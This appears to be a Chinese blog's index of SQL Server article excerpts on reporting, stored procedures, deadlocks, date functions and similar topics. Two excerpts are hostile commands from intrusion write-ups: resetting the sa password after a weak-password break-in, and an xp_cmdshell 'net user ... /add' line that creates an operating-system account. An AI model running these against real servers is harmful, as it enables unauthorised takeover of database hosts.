
SQL
sandykwx
这个作者很懒,什么都没留下…
展开
-
用SQL实现统计报表中的(小计)和(合计)
/* 建立示例过程,以演示Group by with Rollup 的效果 */-- 建一临时表 create table #tmpA ( Dept char(3) , Sect char(3) , line char(3) , Line_Desc varchar(30) , Title_code char(3) , Title_Desc varchar(30) , Hea转载 2013-01-17 09:51:32 · 1451 阅读 · 1 评论 -
SQL Server 2000 数据库同步
为什么要同步SQL Server 2000 数据库,它都用在什么场合数据实时备份同步,数据库服务器出问题时我们也有其正常工作时的备份 数据实时备份同步,一台服务器负载不起时,可以用来做负载均衡 数据实时备份同步,数据库服务器可以无间断,无损失迁移 主服务器被攻击或当机时另一台服务同步机可以应急 。。。。。可以说好处非常多的。暂时写这么多 SQL Server 2000 数据库同原创 2013-01-17 09:49:23 · 690 阅读 · 0 评论 -
sql存储过程完全教程
目录 1.sql存储过程概述2.SQL存储过程创建3.sql存储过程及应用4.各种存储过程使用指南5.ASP中存储过程调用的两种方式及比较6.SQL存储过程在.NET数据库中的应用 7.使用SQL存储过程要特别注意的问题 1.sql存储过程概述 在大型数据库系统中,存储过程和触发器具有很重要的作用。无论是存储过程还是触发器,都是SQL 语句和流程控制语句的集合。就本质而言,触发器也是一种存储原创 2013-01-17 09:49:25 · 362 阅读 · 0 评论 -
SQL 行列转换
假设有张学生成绩表(tb)如下:Name Subject Result张三 语文 74张三 数学 83张三 物理 93李四 语文 74李四 数学 84李四 物理 94想变成姓名 语文 数学 物理 ---------- ----------- ----------- -----------李四 74原创 2013-01-17 09:48:31 · 217 阅读 · 0 评论 -
SA弱口令入侵中的相关命令
一.更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'(提示:慎用!)二.简单修补sa弱口令.方法1:查询分离器连接后执行:if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY原创 2013-01-17 09:49:14 · 366 阅读 · 0 评论 -
sql中exist与in 的区别
今天在网上查资料看sql中exist与in 的区别,发现众说纷纭,有几种说法:1. exist效率比in高,凡是in都应该用exist替换2. 外大内小用in,外小内大用exist3. 外大内小用exist,外小内大用in 一时分辨不了哪个正确,于是动手检验. 数据库: ORACLE 10G客户端: PlSqlDev 7.1 1. 外大内小的情况:history.tb_stk_cap_chg 记录原创 2013-01-17 09:49:54 · 388 阅读 · 0 评论 -
mssql错误码 @@ERROR
Code Error Message 0 操作成功完成。 1 功能错误。 2 系统找不到指定的文件。 3 系统找不到指定的路径。 4 系统无法打开文件。 5 拒绝访问。 6 句柄无效。 7 存储控制块被损坏。 8 存储空间不足,无法处理此命令。 9 存储控制块地址无效。 10 环境错误。 11 试图加载格式错误的程序。 12 访问码无效。 1转载 2013-01-17 09:53:51 · 2231 阅读 · 0 评论 -
如何监控sql server 死锁
经带在论坛上看到有人在问怎么捕获和记录死锁信息,在这里,我将自己的一些心得贡献出来,与大家分享,也请各位指正。我们知道,可以使用SQL Server自带的Profiler工具来跟踪死锁信息。但这种方式有一个很大的敝端,就是消耗很大。据国外某大神测试,profiler甚至可以占到服务器总带宽的35%,所以,在一个繁忙的系统中,使用profiler显然不是一个好主意,下面我介绍两种消耗比较少的转载 2013-01-17 09:53:44 · 605 阅读 · 0 评论 -
经典SQL语句大全
一、基础 1、说明:创建数据库CREATE DATABASE database-name 2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyN转载 2013-03-02 16:31:55 · 291 阅读 · 0 评论 -
总结SQL入侵中的突破方法
SQL Server 提升权限相关命令及防范 (*) =========================================================================================== exec master..xp_cmdshell "net user name password /add" exec master..xp_cmdshell "原创 2013-01-17 09:49:16 · 378 阅读 · 0 评论 -
SQL Server EXEC和sp_executesql的区别
1,EXEC的运用 2,sp_executesql的运用 MSSQL为我们提供了两种动态执行SQL语句的命令,分别是EXEC和sp_executesql;通常,sp_executesql则更具有优势,它提供了输入输出接口,而EXEC没有。还有一个最大的优点就是运用 sp_executesql,能够重用执行计划,这就大大提供了执行性能(对于这个我在后面的例子中会详加说明),还可以编原创 2013-01-17 09:49:08 · 289 阅读 · 0 评论 -
SQL Server2005 导入时出现* 错误 0xc00470fe: 数据流任务: 产品级别对于
使用SQL Server2005 导入和导出向导 时竟然不能将TXT和EXCLE导入,出现 消息 * 错误 0xc00470fe: 数据流任务: 产品级别对于 组件“源 - TestDB01$”(1) 而言不足。 (SQL Server 导入和导出向导)郁闷也。原来没有装SPK1您有沒有安裝 SQL Server 2005 SP1 ,若沒有的話,請記得安裝,建議您順便转载 2013-01-17 09:51:05 · 836 阅读 · 0 评论 -
SQL 游标的概念
游标提供了一种从表中检索数据并进行操作的灵活手段,游标主要用在服务器上,处理由客户端发送给服务器端的SQL语句,或是批处理、存储过程、触发器中的数据处理请求。游标的优点在于它可以定位到结果集中的某一行,并可以对该行数据执行特定操作,为用户在处理数据的过程中提供了很大方便。一个完整的游标由5部分组成,并且这5个部分应符合下面的顺序。(1)声明游标。(2)打开游标。(3)从一个游标中查找信转载 2013-01-17 09:51:41 · 893 阅读 · 0 评论 -
行列转换并且进行行列数据统计 rollup
--具体的行列转换并且进行行列数据统计create table tmpA ( Dept char(3) , Sect char(3) , line char(3) , Line_Desc varchar(30) , Title_code char(3) , Title_Desc varchar(30) , Headcount int );--转载 2013-01-17 09:51:35 · 327 阅读 · 0 评论 -
SQL日期格式化应用大全
--Sql Server 中一个非常强大的日期格式化函数Select CONVERT(varchar(100), GETDATE(), 0)--05 16 2006 10:57AMSelect CONVERT(varchar(100), GETDATE(), 1)--05/16/06Select CONVERT(varchar(100), GETDATE(), 2)--06.05.16转载 2013-01-17 09:51:01 · 226 阅读 · 0 评论 -
SQL Server2000中死锁经验总结
虽然不能完全避免死锁,但可以使死锁的数量减至最少。将死锁减至最少可以增加事务的吞吐量并减少系统开销,因为只有很少的事务: 回滚,而回滚会取消事务执行的所有工作。 由于死锁时回滚而由应用程序重新提交。 下列方法有助于最大限度地降低死锁: 按同一顺序访问对象。 避免事务中的用户交互。 保持事务简短并在一个批处理中。 使用低隔离级别。 使用绑定连接。 按同一顺序访问对象如果所有并发事务按同一顺序访问对象原创 2013-01-17 09:45:54 · 281 阅读 · 0 评论 -
sql 时间函数
1. 当前系统日期、时间 select getdate() 2. dateadd 在向指定日期加上一段时间的基础上,返回新的 datetime 值 例如:向日期加上2天 select dateadd(day,2,'2004-10-15') --返回:2004-10-17 00:00:00.000 3. datediff 返回跨两个指定日期的日期和时间边界数。 s原创 2013-01-17 09:47:49 · 261 阅读 · 0 评论 -
Log Explorer的使用
昨天不小心把数据库的数据进行了破坏性操作,幸好同事推荐我用Log Explorer这个软件在网上找了下相关资料 感觉说的还是很不错的,就借鉴了下。找个时间还要亲自实践下 1、Log Explorer for SQL Server v4.0.2 该软件我比较推荐的 安装完毕后,注册该程序(压缩文件有注册机) 打开log explorer file=>attach log fil原创 2013-01-17 09:48:56 · 1571 阅读 · 0 评论 -
SQL 数据库角色解释
12.4 角色当几个用户需要在某个特定的数据库中执行类似的动作时(这里没有相应的Windows用户组),就可以向该数据库中添加一个角色(role)。数据库角色指定了可以访问相同数据库对象的一组数据库用户。数据库角色的成员可以分为如下几类:Windows用户组或用户账户SQL Server登录其他角色SQL Server的安全体系结构中包括了几个含有特定隐含权限的角色。除了数据库拥有者创原创 2013-01-17 09:49:04 · 846 阅读 · 0 评论 -
获取当前用户的所有上级【SQL-所有上级】
Q:如何获取当前用户的上级、上级的上级、上级的上级的上级............A:具体您可以参考以下说明:在oracle下,使用start with connect by prior即可select * from t_user start with id = '11e1-7f98-dc0c84d6-a04d-05b43c063ac2' connect by pr转载 2014-02-25 18:32:16 · 2925 阅读 · 0 评论